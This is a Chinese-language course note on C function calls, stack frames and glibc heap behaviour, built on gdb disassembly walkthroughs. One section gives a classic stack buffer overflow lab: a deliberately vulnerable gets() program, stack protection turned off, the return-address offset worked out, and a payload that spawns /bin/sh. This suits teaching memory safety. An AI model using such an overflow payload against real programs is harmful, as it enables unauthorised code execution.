# [你所不知道的 C 語言: 函式呼叫篇](https://hackmd.io/s/SJ6hRj-zg)
Contributed by < [`dange0`](https://github.com/dange0) >
###### tags: `sysprog2018`
## Function 定義
- 在數學上可以接受多個 input 對應到一個 output
- Function Composition:函數本身可以組合
- $g \circ f(x) = g(f(x))$
## Process 和 C 程式的關聯
- MMIO(memory mapped I/O)
- The address space is shared between memory and I/O devices.
- 要做 I/O devices 操作時,直接透過記憶體映射的方式對裝置做存取
- Operating System
- 扮演應用程式與硬體之間的橋樑
- MMU(Memory Management Unit)
- 將虛擬記憶體轉換為實體記憶體
- 保護資源
- Address Space Isolation
- 將 Process 或 I/O devices 的有效記憶體位置做區隔
- Symbol
- 將人類可看懂得東西對映到一個地址
- Stack
- 紀錄 return address, arguments, temporary variables, context
## Stack
### Stack 名詞解釋
- rip:instruction pointer,用於記錄下一個要執行的instruction
- rsp:stack pointer,指向stack頂端
- rbp:base pointer,指向stack底部

### 動態追蹤 Stack
在這邊用一個小範例來看看stack是如何操作
```clike=
int funcA(int b){
return funcB(b);
}
int funcB(int a){
return a+1 ;
}
int main(){
int a = funcA(1);
return 0;
}
```
編譯時加上 `-g` 以方便觀察
```shell
$ gcc -o stack -g stack.c
```
透過 gdb 打開之後,使用 `disas` 將其反組譯
```shell=
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000400501 <+0>: push rbp
0x0000000000400502 <+1>: mov rbp,rsp
0x0000000000400505 <+4>: sub rsp,0x10
0x0000000000400509 <+8>: mov edi,0x1
0x000000000040050e <+13>: call 0x4004d6 <funcA>
0x0000000000400513 <+18>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400516 <+21>: mov eax,0x0
0x000000000040051b <+26>: leave
0x000000000040051c <+27>: ret
End of assembler dump.
gdb-peda$ disas funcA
Dump of assembler code for function funcA:
0x00000000004004d6 <+0>: push rbp
0x00000000004004d7 <+1>: mov rbp,rsp
0x00000000004004da <+4>: sub rsp,0x10
0x00000000004004de <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004004e1 <+11>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004004e4 <+14>: mov edi,eax
0x00000000004004e6 <+16>: mov eax,0x0
0x00000000004004eb <+21>: call 0x4004f2 <funcB>
0x00000000004004f0 <+26>: leave
0x00000000004004f1 <+27>: ret
End of assembler dump.
gdb-peda$ disas funcB
Dump of assembler code for function funcB:
0x00000000004004f2 <+0>: push rbp
0x00000000004004f3 <+1>: mov rbp,rsp
0x00000000004004f6 <+4>: mov DWORD PTR [rbp-0x4],edi
0x00000000004004f9 <+7>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004004fc <+10>: add eax,0x1
0x00000000004004ff <+13>: pop rbp
0x0000000000400500 <+14>: ret
End of assembler dump.
```
這邊 Assembly Language 表示法使用的是 Intel Syntax 而非 AT&T Syntax,其差異可以參考 [Intel and AT&T Syntax.](https://imada.sdu.dk/Employees/kslarsen-bak/Courses/dm18-2007-spring/Litteratur/IntelnATT.htm)
因為要觀察的是進入 function 時 stack 的操作因此將中斷點斷在進入 func() 之前也就是第7行的位置
```shell
gdb-peda$ b *0x000000000040050e
Breakpoint 1 at 0x4004ec: file stack.c, line 6.
gdb-peda$ r
```
```shell
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffe480
gdb-peda$ p $rsp
$2 = (void *) 0x7fffffffe470
```
此時 stack 長的如下:

在執行 call funcA 之後, call instruction 會做 push next instruction address 也就是回到 main 的 return address
> call funcA
>
接著進入 funcA(),其 instruction 操作如下:
```shell
Dump of assembler code for function funcA:
0x00000000004004d6 <+0>: push rbp
0x00000000004004d7 <+1>: mov rbp,rsp
0x00000000004004da <+4>: sub rsp,0x10
0x00000000004004de <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004004e1 <+11>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004004e4 <+14>: mov edi,eax
0x00000000004004e6 <+16>: mov eax,0x0
0x00000000004004eb <+21>: call 0x4004f2 <funcB>
0x00000000004004f0 <+26>: leave
0x00000000004004f1 <+27>: ret
End of assembler dump.
```
>push rbp
>
>mov rbp,rsp
>
>sub rsp,0x10
>
到這邊基本上 funcA 的 stack frame 就已經完成了
在 function return 時,funcA 會呼叫 leave,其效果如下:
```
mov rsp, rbp
pop rbp
```
> mov rsp, rbp
> 
> pop rbp
> 
此時 rsp 已經指向 main 的 return address 了,接著呼叫 ret 時,rip就會指向 return address,並且將 stack frame 的狀態回復到 main 的 stack frame
> ret
> 
:::info
在這邊比較 funcA 與 funcB 之差異,發現funcA於第五行的位置有 `sub rsp, 0x10`的動作,而 funcB 卻沒有。這邊推論是因為在編譯時期, compiler 就知道 funcB之後就不會在呼叫別的函式了,也沒有 push pop 等操作,因此 `rsp` 也不需要特別拉出一段空間保留給 funcB。
```shell=
gdb-peda$ disas funcA
Dump of assembler code for function funcA:
0x00000000004004d6 <+0>: push rbp
0x00000000004004d7 <+1>: mov rbp,rsp
0x00000000004004da <+4>: sub rsp,0x10
0x00000000004004de <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004004e1 <+11>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004004e4 <+14>: mov edi,eax
0x00000000004004e6 <+16>: mov eax,0x0
0x00000000004004eb <+21>: call 0x4004f2 <funcB>
0x00000000004004f0 <+26>: leave
0x00000000004004f1 <+27>: ret
End of assembler dump.
gdb-peda$ disas funcB
Dump of assembler code for function funcB:
0x00000000004004f2 <+0>: push rbp
0x00000000004004f3 <+1>: mov rbp,rsp
0x00000000004004f6 <+4>: mov DWORD PTR [rbp-0x4],edi
0x00000000004004f9 <+7>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004004fc <+10>: add eax,0x1
0x00000000004004ff <+13>: pop rbp
0x0000000000400500 <+14>: ret
End of assembler dump.
```
:::
:::warning
Question:
:question:
在聽老師[課程影片:1h26m41s](https://youtu.be/X5hOAFCxOTA?t=1h26m41s)中提到透過 `0x7fffffffdde8` 返回地址找到上一層 stack frame 的位置 `0x7fffffffde08`。但我對 stack frame 之認知應該是透過 **old rbp** 去記錄 stack frame 的位置,也就是用 `push rbp` 去記錄上一個 function 的 stack frame 位置,然後透過 `pop rbp` 去還原上一個 stack frame 之狀態,**返回地址**應該是用於記錄 return function 的 address,不知這樣的理解是否有錯誤呢?
stack frame 之範圍於 [System V Application Binary Interface AMD64 Architecture Processor Supplement](https://github.com/hjl-tools/x86-psABI/wiki/x86-64-psABI-1.0.pdf) 中定義為:

:::
### Buffer Overflow - Baby Jump
bof.c
```clike=
int evil(){
system("/bin/sh");
}
int main(){
char input[10];
puts("Input:");
gets(input);
puts(input);
}
```
這段程式碼是為了要展示最基本的 buffer overflow 是如何達成攻擊。由第8行可以看到,被攻擊者使用了缺乏長度檢查的函式 `gets()`, 此外上面有一個函式會去執行 `/bin/sh`,雖然使用者在一般情境無法合法的呼叫他,但是卻可以透過 buffer overflow 達到改變程式流程,並觸發這個危險的函式。
首先,我們先將程式做編譯。這邊需要特別注意的是,我們需要加上 `-fno-stack-protector` 以關閉`CANNARY`這個記憶體保護機制,相關的記憶體保護機制會在後面稍做介紹。
```shell
$gcc -o bof -fno-stack-protector -g bof.c
```
接著可以嘗試觀察這之程式的行為,可以發現程式的行為非常單純,他會將你的輸入照實的印出來,這麼單純的程式裡頭到底暗藏的什麼玄機就讓我們繼續看下去!
```shell
$ ./bof
Input:
abc
abc
```
#### Why Segmentation fault?
接著可以嘗試對這支程式做一些粗暴的事情:用超過長度的字串塞爆他。
```shell
$ gdb -q bof
gdb-peda$ r
Input:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
```
這支程式不負眾望的 crash 了,並顯示 `Segmentation fault`,這邊就非常值得大家探討了, 我們可以先看一下維基百科對於`Segmentation fault`之解釋:
:::info
記憶體區段錯誤(英語:Segmentation fault,經常被縮寫為segfault),又譯為記憶體段錯誤,也稱存取權限衝突(access violation),是一種程式錯誤。它會出現在當程式企圖存取CPU無法定址的記憶體區段時。
:::
為什麼塞過多的摻數進去,會與非法記憶體存取有關。透過 GDB 去觀看其中玄機。
```shell
gdb-peda$ x/16g input
0x7fffffffe470: 0x6161616161616161 0x6161616161616161
0x7fffffffe480: 0x6161616161616161 0x6161616161616161
0x7fffffffe490: 0x6161616161616161 0x6161616161616161
0x7fffffffe4a0: 0x6161616161616161 0x6161616161616161
0x7fffffffe4b0: 0x6161616161616161 0x0061616161616161
0x7fffffffe4c0: 0x00000000004004c0 0x00007fffffffe560
0x7fffffffe4d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4e0: 0x06fe5dce4008e824 0x06fe4d7426f8e824
```
可以看到在記憶體中塞了滿滿的 `0x61` ,也就是我們剛剛輸入的 `a`。在上面的 stack 介紹中曾經提到區域變數會被存放於 stack 中,因此 `input` 這個區域變數是位於 main function 的 stack 中。而位於 `stack` 最頂端的是 function 的 `return address` 因此我們可以懷疑應該是輸入的 `a` 蓋到 `return address` 導致 `rip` 指到無法訪問的地方。
將中斷點下在 `main+53` 的位置,並觀察接下來 `rsp`,也就是位於 `return address` 的值
```shell
gdb-peda$ pd main
Dump of assembler code for function main:
0x00000000004005cc <+0>: push rbp
0x00000000004005cd <+1>: mov rbp,rsp
0x00000000004005d0 <+4>: sub rsp,0x10
0x00000000004005d4 <+8>: mov edi,0x40069c
0x00000000004005d9 <+13>: call 0x400470 <puts@plt>
0x00000000004005de <+18>: lea rax,[rbp-0x10]
0x00000000004005e2 <+22>: mov rdi,rax
0x00000000004005e5 <+25>: mov eax,0x0
0x00000000004005ea <+30>: call 0x4004a0 <gets@plt>
0x00000000004005ef <+35>: lea rax,[rbp-0x10]
0x00000000004005f3 <+39>: mov rdi,rax
0x00000000004005f6 <+42>: call 0x400470 <puts@plt>
0x00000000004005fb <+47>: mov eax,0x0
0x0000000000400600 <+52>: leave
=> 0x0000000000400601 <+53>: ret
End of assembler dump.
gdb-peda$ b *0x0000000000400601
Breakpoint 1 at 0x400601: file bof.c, line 10.
gdb-peda$ c
Continuing.
gdb-peda$ p $rsp
$7 = (void *) 0x7fffffffe488
gdb-peda$ x/g 0x7fffffffe488
0x7fffffffe488: 0x6161616161616161
```
可以看到 `return address` 指向 0x6161616161616161
```shell
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /tmp/bof
0x00600000 0x00601000 r--p /tmp/bof
0x00601000 0x00602000 rw-p /tmp/bof
0x00602000 0x00623000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fea000 0x00007ffff7fed000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
```
使用 `vmmap` 看可以得知 `0x6161616161616161` 並不屬於該程式可以存取之範圍,所以才會彈出 `Segmentation fault`
可以推斷在 `gets(input)` 之後之記憶體狀況如下圖:

#### Return to evil()
既然我們可以把 `rip` 導到 `0x6161616161616161` 讓他崩潰,為何不將他導到 evil() 呢?
```shell
gdb-peda$ p evil
$15 = {int ()} 0x4005b6 <evil>
```
x86-64是以`little endian` 將值存放於記憶體中,因此我們必須先將 0x4005b6 轉換
為 little endian 的表示法:`\xb6\x05@\x00\x00\x00\x00\x00`
接著還缺到 return address 的 offset,因此可以回到 GDB 中計算。為了方便計算這邊的輸入值為依序輸入 abc...xyz
```shell
gdb-peda$ r
Input:
abcdefghijklmnopqsttuvwxyzabcdefghijklmnop
abcdefghijklmnopqsttuvwxyzabcdefghijklmnop
Program received signal SIGSEGV, Segmentation fault.
gdb-peda$ p $rsp
$3 = (void *) 0x7fffffffe488
gdb-peda$ x/s 0x7fffffffe488
0x7fffffffe488: "yzabcdefghijklmnop"
```
看到 $rsp 的第一個字為 `y` ,掐指一算 'y' 之前有 24 個字母,也就是我們需要塞 24 個值才碰的到 return address,利用得到的資訊撰寫以下 exploit,並成功執行 `/bin/sh`
```
$ echo -ne "aaaaaaaaaaaaaaaaaaaaaaaa\xb6\x05@\x00\x00\x00\x00\x00" > payload
$ cat payload - | ./bof
Input:
aaaaaaaaaaaaaaaaaaaaaaaa▒@
whoami
ubuntu
pwd
/tmp
```
其stack 結構如下:

## Heap
- malloc alignment
- 系統為了加速實做,因此在配置記憶體時,都會多分配一些以方便對齊
- 所以在 free() 的時候無法指定大小,否則多配置的記憶體會沒有被釋放掉
### double free 是如何被偵測的呢?
```clike=
#include <stdlib.h>
int main() {
int *a = (int *) malloc(100);
free(a);
int *b = (int *) malloc(100);
free(b);
return 0;
}
```
使用 GBD,觀察 `int *a = (int *) malloc(100);` 的結果:
```shell
gdb-peda$ p a
$3 = (int *) 0x602010
```
接著觀察 `int *b = (int *) malloc(100);` 的結果:
```shell
gdb-peda$ p b
$4 = (int *) 0x602010
```
發現,系統為了加速效能,因此在 free 時,系統並不會馬上把之前 malloc 出來的 chunk 歸還給系統,反而是進行集中管理,並在下一次程式 malloc 一樣大小的 chunk 時,直接將預先分配好的空間分配給 malloc 請求者。
接著嘗試觀察被free 調的 chunk 都跑去哪裡了呢?
```clike
#include <stdlib.h>
int main() {
int *a = (int *) malloc(50);
int *b = (int *) malloc(50);
int *c = (int *) malloc(50);
int *d = (int *) malloc(50);
int *e = (int *) malloc(50);
free(a);
free(b);
free(c);
free(d);
free(e);
return 0;
}
```
將中斷點設在 free 之前:
```shell
gdb-peda$ p a
$11 = (int *) 0x602010
gdb-peda$ p b
$12 = (int *) 0x602050
gdb-peda$ p c
$13 = (int *) 0x602090
gdb-peda$ p d
$14 = (int *) 0x6020d0
gdb-peda$ p e
$15 = (int *) 0x602110
gdb-peda$ x/50gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000041
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000041
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000041
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000020ec1
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
```
將中斷點設在 return 之前:
```shell
gdb-peda$ x/50gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000041 <- chunk a free
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 <- chunk b free
0x602050: [0x0000000000602000] 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 <- chunk c free
0x602090: [0x0000000000602040] 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000041 <- chunk d free
0x6020d0: [0x0000000000602080] 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000041 <- chunk e free
0x602110: [0x00000000006020c0] 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000020ec1 <- top chunk
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
```
- 用`[ ]` 刮起來的部分為 link list 串連的地址
- 為了方便管理 free 出來的 chunk, glibc 會去將一些特定大小的 chunk 做集中管理,其集中管理的機制又分為:`fast bin` `small bin` `large bin` 等等
- [Bins and Chunks](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks.html)
因此推斷 double free 的檢查機制是透過檢查所要 free 的 chunk 是否屬於集中管理的 chunk